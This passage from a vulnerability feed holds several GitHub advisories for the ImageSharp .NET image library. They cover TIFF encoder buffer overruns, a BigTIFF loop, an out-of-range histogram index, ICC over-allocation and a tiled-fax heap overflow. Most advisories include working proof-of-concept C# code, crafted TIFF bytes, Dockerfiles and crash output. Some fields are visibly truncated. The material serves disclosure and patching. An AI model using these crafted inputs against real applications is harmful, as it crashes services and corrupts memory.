metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106115","cveId":"CVE-2026-106115","aliases":["GHSA-jjfr-hcj7-qf5w"],"kind":"vulnerability","title":"ImageSharp: TIFF CCITT T6 encoder writes beyond an undersized output buffer","summary":"The TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default `TiffEncoder` terminates the process with an unhandled exception.\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `>= 2.1.0, <= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.","detail":"### Summary\n\nThe TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default `TiffEncoder` terminates the process with an unhandled exception.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `>= 2.1.0, <= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nThe T6 compressor was introduced by commit `3c9eb470a07a15012c2a29ad84090dcc804a7975`, first released in v2.1.0, with the same `Width * rowsPerStrip` allocation and unchecked code writes. The 1×1 exploit terminates published v2.1.0 and v4.1.1; its uncompressed control succeeds. Source history shows no capacity fix through v4.1.1.\n### Details\n\n[`TiffCcittCompressor.Initialize`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L527-L532) allocates `Width * rowsPerStrip` bytes. A 1×1 strip therefore receives one byte.\n\nAfter encoding the row, [`T6BitCompressor.CompressStrip`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/T6BitCompressor.cs#L53-L131) appends two 12-bit EOFB codes. [`WriteCode`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L466-L479) writes those bits without checking the destination capacity. The final checked slice detects the oversized byte count and throws `ArgumentOutOfRangeException`, after the unchecked writes have exceeded the one-byte span.\n\nThe default TIFF encoder can inherit `CcittGroup4Fax` and 1-bit settings from decoded frame metadata. The reproduction uses that decode-and-re-encode path.\n\n### Tested environment\n\n- Published NuGet package: `SixLabors.ImageSharp` 4.1.1\n- Target framework: `net8.0`\n- .NET SDK: 8.0.424\n- .NET runtime: 8.0.30\n- Operating system: Debian GNU/Linux 12, ARM64, Docker\n\nNo active exploitation is known.\n\n### Reproduction\n\nCreate a `net8.0` project referencing the published 4.1.1 assembly and use this `Program.cs`:\n\n```csharp\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.Formats.Tiff;\nusing SixLabors.ImageSharp.Formats.Tiff.Constants;\n\nstring mode = args.FirstOrDefault() ?? \"exploit\";\nbyte[] input = Convert.FromBase64String(\n \"SUkqAAgAAAAJAAABAwABAAAAAQAAAAEBAwABAAAAAQAAAAIBAwABAAAAAQAAAAMBAwABAAAABAAAAAYBAwABAAAAAAAAABEBBAABAAAAegAAABUBAwABAAAAAQAAABYBBAABAAAAAQAAABcBBAABAAAABAAAAAAAAACACACA\");\n\nusing Image image = Image.Load(input);\nvar metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();\nConsole.WriteLine($\"ImageSharp={typeof(Image).Assembly.GetName().Version}\");\nConsole.WriteLine($\"mode={mode} decoded={image.Width}x{image.Height} compression={metadata.Compression} bits={metadata.BitsPerPixel}\");\n\nusing var output = new MemoryStream();\nif (mode == \"control\")\n{\n image.Save(output, new TiffEncoder { Compression = TiffCompression.None });\n}\nelse\n{\n image.Save(output, new TiffEncoder());\n}\n\nConsole.WriteLine($\"encoded=True bytes={output.Length}\");\n```\n\nRun:\n\n```text\ndotnet run -- exploit\ndotnet run -- control\n```\n\nThe exploit produced exit code 134:\n\n```text\nImageSharp=4.0.0.0\nmode=exploit decoded=1x1 compression=CcittGroup4Fax bits=Bit1\nUnhandled exception. System.ArgumentOutOfRangeException: Specified argument was out of the range of valid values.\n at SixLabors.ImageSharp.Formats.Tiff.Compression.Compressors.TiffCcittCompressor.CompressStrip(Span`1 rows, Int32 height)\n```\n\nThe control completed with exit code 0:\n\n```text\nImageSharp=4.0.0.0\nmode=control decoded=1x1 compression=CcittGroup4Fax bits=Bit1\nencoded=True bytes=212\n```\n\n### Impact\n\nOne attacker-supplied Group 4 TIFF can select this unsafe encoder path when an application decodes it and re-encodes it with inherited TIFF metadata. The demonstrated result is an unhandled exception and process termination in the reproduction. The report is limited to the T6 encoder path.\n\nAffected package ranges reported by GitHub:\nSixLabors.ImageSharp: >= 2.1.0, < 3.2.0\nSixLabors.ImageSharp: >= 4.0.0, < 4.1.2","action":"GitHub lists first patched versions: SixLabors.ImageSharp: 3.2.0; SixLabors.ImageSharp: 4.1.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-07T20:24:46.000Z","updatedAt":"2026-10-26T14:21:22.000Z","regions":["Global"],"vendor":null,"product":"SixLabors.ImageSharp, SixLabors.ImageSharp","stacks":[".NET",".NET packages (NuGet)","SixLabors.ImageSharp","nuget"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-jjfr-hcj7-qf5w","asOf":"2026-10-26T14:21:22.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-jjfr-hcj7-qf5w","url":"https://github.com/advisories/GHSA-jjfr-hcj7-qf5w","type":"primary","publishedAt":"2026-10-07T20:24:46.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-jjfr-hcj7-qf5w, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106116","cveId":"CVE-2026-106116","aliases":["GHSA-wmxv-xphr-5c9g"],"kind":"vulnerability","title":"ImageSharp: BigTIFF IFD count can keep a decoder thread in a non-progressing loop","summary":"`SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a\nsmall malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader\niterates once per declared entry, but when fewer than 20 bytes remain for an entry,\nthe entry read returns without advancing. A 24-byte input can therefore run billions\nof iterations without consuming input.\n\nOne decoder invocation occupied one executing thread for more than five seconds in\nthe tested environment. This report makes no worker-pool exhaustion claim.","detail":"### Summary\n\n`SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a\nsmall malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader\niterates once per declared entry, but when fewer than 20 bytes remain for an entry,\nthe entry read returns without advancing. A 24-byte input can therefore run billions\nof iterations without consuming input.\n\nOne decoder invocation occupied one executing thread for more than five seconds in\nthe tested environment. This report makes no worker-pool exhaustion claim.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `>= 2.0.0, \n \n Exe \n net8.0 \n enable \n enable \n\n /root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll \n\n /root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll \n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY wmxv.csproj Program.cs ./\nRUN printf '%s\\n' ' net8.0 ' > fetch.csproj \\\n && dotnet restore fetch.csproj --nologo \\\n && rm fetch.csproj \\\n && dotnet build wmxv.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/wmxv.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-wmxv-poc .\ntimeout 5 docker run --rm imagesharp-wmxv-poc 5000000000\ndocker run --rm imagesharp-wmxv-poc 1\n```\n\nAffected package ranges reported by GitHub:\nSixLabors.ImageSharp: >= 2.0.0, < 3.2.0\nSixLabors.ImageSharp: >= 4.0.0, < 4.1.2","action":"GitHub lists first patched versions: SixLabors.ImageSharp: 3.2.0; SixLabors.ImageSharp: 4.1.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-07T20:24:32.000Z","updatedAt":"2026-10-26T14:20:10.000Z","regions":["Global"],"vendor":null,"product":"SixLabors.ImageSharp, SixLabors.ImageSharp","stacks":[".NET",".NET packages (NuGet)","SixLabors.ImageSharp","nuget"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","sourceUrl":"https://github.com/advisories/GHSA-wmxv-xphr-5c9g","asOf":"2026-10-26T14:20:10.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-wmxv-xphr-5c9g","url":"https://github.com/advisories/GHSA-wmxv-xphr-5c9g","type":"primary","publishedAt":"2026-10-07T20:24:32.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-wmxv-xphr-5c9g, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106110","cveId":"CVE-2026-106110","aliases":["GHSA-j9gm-c75j-xc9q"],"kind":"vulnerability","title":"ImageSharp: TIFF CCITT T4 encoder can write past its compressed output buffer","summary":"ImageSharp's TIFF CCITT Group 3 (T4) encoder can write beyond its allocated compressed-data buffer when encoding narrow 1-bit images. The unchecked writes can corrupt process memory and terminate the process.\n\nThis report concerns only the T4 `CcittGroup3Fax` encoder path. It replaces the prior, unrelated ICC content.","detail":"### Summary\n\nImageSharp's TIFF CCITT Group 3 (T4) encoder can write beyond its allocated compressed-data buffer when encoding narrow 1-bit images. The unchecked writes can corrupt process memory and terminate the process.\n\nThis report concerns only the T4 `CcittGroup3Fax` encoder path. It replaces the prior, unrelated ICC content.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `>= 2.0.0, 0 ? args[0] : \"exploit\";\nint width = mode == \"control\" ? 64 : 1;\nint height = args.Length > 1 ? int.Parse(args[1]) : 2000;\n\nConsole.WriteLine($\"mode={mode} width={width} height={height}\");\nusing var image = new Image (width, height);\nfor (int y = 0; y < image.Height; y++)\n for (int x = 0; x < image.Width; x++)\n image[x, y] = new L8((byte)(((x + y) & 1) == 0 ? 255 : 0));\n\nvar metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();\nmetadata.BitsPerPixel = TiffBitsPerPixel.Bit1;\nmetadata.Compression = TiffCompression.CcittGroup3Fax;\n\nusing var output = new MemoryStream();\nimage.Save(output, new TiffEncoder());\nConsole.WriteLine($\"Encoded OK: {output.Length} bytes\");\n```\n\nAgainst the published 4.1.1 package, this produced:\n\n```text\nmode=exploit width=1 height=2000\nFatal error. System.AccessViolationException: Attempted to read or write protected memory.\n at ...TiffCcittCompressor.GetWhiteTermCode(...)\n at ...T4BitCompressor.CompressStrip(...)\n```\n\nA 64-pixel-wide, 2000-row control using the same Group 3 metadata completed successfully:\n\n```text\nmode=control width=64 height=2000\nEncoded OK: 76230 bytes\n```\n\nThe direct public configuration path also triggers with:\n\n```csharp\nnew TiffEncoder\n{\n BitsPerPixel = TiffBitsPerPixel.Bit1,\n Compression = TiffCompression.CcittGroup3Fax\n};\n```\n\nAffected package ranges reported by GitHub:\nSixLabors.ImageSharp: >= 2.0.0, < 3.2.0\nSixLabors.ImageSharp: >= 4.0.0, < 4.1.2","action":"GitHub lists first patched versions: SixLabors.ImageSharp: 3.2.0; SixLabors.ImageSharp: 4.1.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-07T20:24:28.000Z","updatedAt":"2026-10-26T14:22:53.000Z","regions":["Global"],"vendor":null,"product":"SixLabors.ImageSharp, SixLabors.ImageSharp","stacks":[".NET",".NET packages (NuGet)","SixLabors.ImageSharp","nuget"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-j9gm-c75j-xc9q","asOf":"2026-10-26T14:22:53.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-j9gm-c75j-xc9q","url":"https://github.com/advisories/GHSA-j9gm-c75j-xc9q","type":"primary","publishedAt":"2026-10-07T20:24:28.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-j9gm-c75j-xc9q, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106113","cveId":"CVE-2026-106113","aliases":["GHSA-j3p4-wp97-rph4"],"kind":"vulnerability","title":"ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index","summary":"`SixLabors.ImageSharp` can terminate a process when an application decodes\nan attacker-supplied 32-bit floating-point TIFF as `Image ` and applies\n`HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range\n`HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based\nhistogram index without validating that result, reaching an unsafe out-of-range\naccess.\n\nThis report covers `HistogramEqualization` only. It does not claim Adaptive\nHistogram Equalization or AutoLevel behavior.","detail":"### Summary\n\n`SixLabors.ImageSharp` can terminate a process when an application decodes\nan attacker-supplied 32-bit floating-point TIFF as `Image ` and applies\n`HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range\n`HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based\nhistogram index without validating that result, reaching an unsafe out-of-range\naccess.\n\nThis report covers `HistogramEqualization` only. It does not claim Adaptive\nHistogram Equalization or AutoLevel behavior.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `>= 2.0.0, \nFatal error. System.AccessViolationException: Attempted to read or write protected memory.\n...\nat SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke\n...\nat SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization\nDocker exit status: 133\n```\n\nThe control is identical except samples are `0.5`:\n\n```text\nmode=control tiffBytes=166 sample=0.5\ndecoded=8x1 pixel= \ncompleted\nDocker exit status: 0\n```\n\nWhen the same exploit binary was invoked through a shell inside the container,\nthe shell printed `Aborted` and reported status 134. The direct `docker run`\nresult above is the result for the supplied Docker commands.\n\nNo active exploitation is known.\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.PixelFormats;\nusing SixLabors.ImageSharp.Processing;\n\nstatic class Program\n{\n private static void AddEntry(List ifd, ushort tag, ushort type, uint count, uint value)\n {\n ifd.AddRange(BitConverter.GetBytes(tag));\n ifd.AddRange(BitConverter.GetBytes(type));\n ifd.AddRange(BitConverter.GetBytes(count));\n ifd.AddRange(BitConverter.GetBytes(value));\n }\n\n // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples.\n private static byte[] BuildTiff(float sample)\n {\n const int width = 8;\n const int entries = 10;\n const int ifdOffset = 8;\n const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4;\n List file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00];\n List ifd = [];\n ifd.AddRange(BitConverter.GetBytes((ushort)entries));\n const ushort Short = 3, Long = 4;\n AddEntry(ifd, 256, Long, 1, width); // ImageWidth\n AddEntry(ifd, 257, Long, 1, 1); // ImageLength\n AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample\n AddEntry(ifd, 259, Short, 1, 1); // Compression = none\n AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero\n AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets\n AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel\n AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip\n AddEntry(ifd, 279, Long, 1, width * 4); // StripByteCounts\n AddEntry(ifd, 339, Short, 1, 3); // SampleFormat = IEEE float\n ifd.AddRange([0, 0, 0, 0]);\n file.AddRange(ifd);\n for (int i = 0; i image = Image.Load (tiff);\n Console.Error.WriteLine($\"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}\");\n image.Mutate(x => x.HistogramEqualization());\n Console.Error.WriteLine(\"completed\");\n }\n}\n\n```\n\nProject file:\n\n```xml\n\n Exe \n net8.0 \n enable \n enable \n\n /root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll \n\n /root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll \n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY j3p4.csproj Program.cs ./\nRUN printf '%s\\n' ' net8.0 ' > fetch.csproj \\\n && dotnet restore fetch.csproj --nologo \\\n && rm fetch.csproj \\\n && dotnet build j3p4.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/j3p4.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-j3p4-poc .\ndocker run --rm imagesharp-j3p4-poc exploit\ndocker run --rm imagesharp-j3p4-poc control\n```\n\nAffected package ranges reported by GitHub:\nSixLabors.ImageSharp: >= 2.0.0, < 3.2.0\nSixLabors.ImageSharp: >= 4.0.0, < 4.1.2","action":"GitHub lists first patched versions: SixLabors.ImageSharp: 3.2.0; SixLabors.ImageSharp: 4.1.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-07T20:24:23.000Z","updatedAt":"2026-10-26T14:19:00.000Z","regions":["Global"],"vendor":null,"product":"SixLabors.ImageSharp, SixLabors.ImageSharp","stacks":[".NET",".NET packages (NuGet)","SixLabors.ImageSharp","nuget"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-j3p4-wp97-rph4","asOf":"2026-10-26T14:19:00.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-j3p4-wp97-rph4","url":"https://github.com/advisories/GHSA-j3p4-wp97-rph4","type":"primary","publishedAt":"2026-10-07T20:24:23.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-j3p4-wp97-rph4, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106114","cveId":"CVE-2026-106114","aliases":["GHSA-gwg2-r3hj-4w44"],"kind":"vulnerability","title":"ImageSharp: ICC CLUT parsing allocates from unvalidated channel and grid dimensions","summary":"A malformed embedded ICC profile can make ImageSharp allocate memory from attacker-controlled CLUT channel and grid dimensions before verifying that the declared CLUT values are present.\n\nIn published v1 through v3 packages, the public lazy ICC parser allocates approximately 115 MB from the 200-byte test profile before rejecting the truncated tag. In published v4 packages, decoding with ICC conversion enabled requests an 860,934,420-byte managed float array from the same profile.","detail":"### Summary\n\nA malformed embedded ICC profile can make ImageSharp allocate memory from attacker-controlled CLUT channel and grid dimensions before verifying that the declared CLUT values are present.\n\nIn published v1 through v3 packages, the public lazy ICC parser allocates approximately 115 MB from the 200-byte test profile before rejecting the truncated tag. In published v4 packages, decoding with ICC conversion enabled requests an 860,934,420-byte managed float array from the same profile.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `>= 1.0.0-beta0001, = 4.0.0, BinaryPrimitives.WriteUInt32BigEndian(bytes.AsSpan(offset, 4), value);\n private static void U16(byte[] bytes, int offset, ushort value) => BinaryPrimitives.WriteUInt16BigEndian(bytes.AsSpan(offset, 2), value);\n private static void Ascii(byte[] bytes, int offset, string value) { for (int i = 0; i (1, 1);\n image.Metadata.IccProfile = new IccProfile(icc);\n using var output = new MemoryStream();\n image.Save(output, new PngEncoder());\n return output.ToArray();\n }\n\n public static int Main(string[] args)\n {\n string mode = args.Length == 1 ? args[0] : \"exploit\";\n if (mode is not (\"exploit\" or \"control\")) throw new ArgumentException(\"mode must be exploit or control\");\n Console.WriteLine($\"mode={mode} profile_bytes=200 requested_float_array={RequestedFloats} requested_bytes={RequestedBytes}\");\n Console.WriteLine($\"imagesharp_assembly={typeof(Image).Assembly.Location}\");\n Console.WriteLine($\"imagesharp_version={typeof(Image).Assembly.GetCustomAttribute ()?.InformationalVersion}\");\n long before = GC.GetTotalAllocatedBytes(true);\n try\n {\n byte[] png = BuildPng(BuildTruncatedProfile());\n var options = new DecoderOptions\n {\n ColorProfileHandling = mode == \"exploit\" ? ColorProfileHandling.Convert : ColorProfileHandling.Preserve\n };\n using Image decoded = Image.Load(options, png);\n Console.WriteLine($\"decoded={decoded.Width}x{decoded.Height} icc_present={decoded.Metadata.IccProfile is not null}\");\n }\n catch (Exception exception)\n {\n Console.WriteLine($\"observed_exception={exception.GetType().FullName}: {exception.Message}\");\n }\n Console.WriteLine($\"managed_bytes_allocated={GC.GetTotalAllocatedBytes(true) - before}\");\n return 0;\n }\n}\n\n```\n\nProject file:\n\n```xml\n\n Exe \n net8.0 \n disable \n enable \n\n /root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll \n true \n\n /root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll \n true \n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY gwg2.csproj Program.cs ./\n# Restore only to obtain the published package. The repro project then uses a\n# direct DLL reference so ImageSharp's package build target is not invoked.\nRUN printf '%s\\n' ' net8.0 ' > fetch.csproj \\\n && dotnet restore fetch.csproj --nologo \\\n && rm fetch.csproj \\\n && dotnet build gwg2.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/gwg2.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-gwg2-poc .\ndocker run --rm imagesharp-gwg2-poc exploit\ndocker run --rm imagesharp-gwg2-poc control\n```\n\nAffected package ranges reported by GitHub:\nSixLabors.ImageSharp: >= 4.0.0, < 4.1.2\nSixLabors.ImageSharp: >= 1.0.0-beta0001, < 3.2.0","action":"GitHub lists first patched versions: SixLabors.ImageSharp: 4.1.2; SixLabors.ImageSharp: 3.2.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-07T20:24:19.000Z","updatedAt":"2026-10-26T14:17:38.000Z","regions":["Global"],"vendor":null,"product":"SixLabors.ImageSharp, SixLabors.ImageSharp","stacks":[".NET",".NET packages (NuGet)","SixLabors.ImageSharp","nuget"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","sourceUrl":"https://github.com/advisories/GHSA-gwg2-r3hj-4w44","asOf":"2026-10-26T14:17:38.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-gwg2-r3hj-4w44","url":"https://github.com/advisories/GHSA-gwg2-r3hj-4w44","type":"primary","publishedAt":"2026-10-07T20:24:19.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-gwg2-r3hj-4w44, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-106118","cveId":"CVE-2026-106118","aliases":["GHSA-v76p-62qx-wwq2"],"kind":"vulnerability","title":"ImageSharp: Tiled fax TIFF: tile buffer sized by TileWidth but fax decompressor writes scanlines of ImageWidth — heap OOB write","summary":"When decoding a tiled TIFF with fax compression (T4/T6/MH), `DecodeTilesChunky` allocates each tile buffer from **TileWidth** (`ceil(TileWidth*bpp/8)*TileLength` bytes) but constructs the fax decompressor with **frame.Width**: `TiffDecompressorsFactory` ignores the `isTiled/tileWidth/tileHeight` parameters entirely. The T4/T6/MH decompressors treat the full image width as the scanline length and advance (and really write, via read-modify-write bit ops) `frame.Width` bits per row, with no bounds check against the tile buffer. The very first tile therefore writes linearly out of bounds — about `ImageWidth/8` bytes per row × TileLength rows into a `TileWidth`-sized buffer. With ImageWidth=4,000,000, TileWidth=16, TileLength=16 this writes ~2 MB past a 32-byte buffer and kills the process deterministically; a T6 all-white variant advances the bit offset by >512 MB silently, showing an alarm-free heap-corruption window for the same defect. A crafted file fully controls the OOB length per tile and works with perfectly legal per-row run codes (no overlong runs needed).\n\nVerified at commit `5cd4d0d26a82a9549f297a237aea9cf665bddff8` (main; latest release v4.1.0, the supported major).","detail":"## Summary\n\nWhen decoding a tiled TIFF with fax compression (T4/T6/MH), `DecodeTilesChunky` allocates each tile buffer from **TileWidth** (`ceil(TileWidth*bpp/8)*TileLength` bytes) but constructs the fax decompressor with **frame.Width**: `TiffDecompressorsFactory` ignores the `isTiled/tileWidth/tileHeight` parameters entirely. The T4/T6/MH decompressors treat the full image width as the scanline length and advance (and really write, via read-modify-write bit ops) `frame.Width` bits per row, with no bounds check against the tile buffer. The very first tile therefore writes linearly out of bounds — about `ImageWidth/8` bytes per row × TileLength rows into a `TileWidth`-sized buffer. With ImageWidth=4,000,000, TileWidth=16, TileLength=16 this writes ~2 MB past a 32-byte buffer and kills the process deterministically; a T6 all-white variant advances the bit offset by >512 MB silently, showing an alarm-free heap-corruption window for the same defect. A crafted file fully controls the OOB length per tile and works with perfectly legal per-row run codes (no overlong runs needed).\n\nVerified at commit `5cd4d0d26a82a9549f297a237aea9cf665bddff8` (main; latest release v4.1.0, the supported major).\n\n## Details\n\nRoot cause: a size mismatch between tile buffer allocation and decompressor width, because the factory drops the tile parameters.\n\n- Allocation: [TiffDecoderCore.cs#L792-L794](https://github.com/SixLabors/ImageSharp/blob/5cd4d0d26a82a9549f297a237aea9cf665bddff8/src/ImageSharp/Formats/Tiff/TiffDecoderCore.cs#L792-L794) — `bytesPerTileRow = RoundUpToMultipleOfEight(tileWidth*bitsPerPixel)`; tile buffer = `bytesPerTileRow*tileLength` bytes (32 bytes in the PoC)\n- Mismatch: [TiffDecoderCore.cs#L797](https://github.com/SixLabors/ImageSharp/blob/5cd4d0d26a82a9549f297a237aea9cf665bddff8/src/ImageSharp/Formats/Tiff/TiffDecoderCore.cs#L797) — `CreateDecompressor (frame.Width, ..., isTiled: true, tileWidth, tileLength)` passes the full frame width\n- Factory drops tile params: [TiffDecompressorsFactory.cs#L56-L64](https://github.com/SixLabors/ImageSharp/blob/5cd4d0d26a82a9549f297a237aea9cf665bddff8/src/ImageSharp/Formats/Tiff/Compression/TiffDecompressorsFactory.cs#L56-L64) — T4/T6/MH decompressors receive only `width` (= frame.Width); `isTiled/tileWidth/tileHeight` ignored\n- OOB write sink: 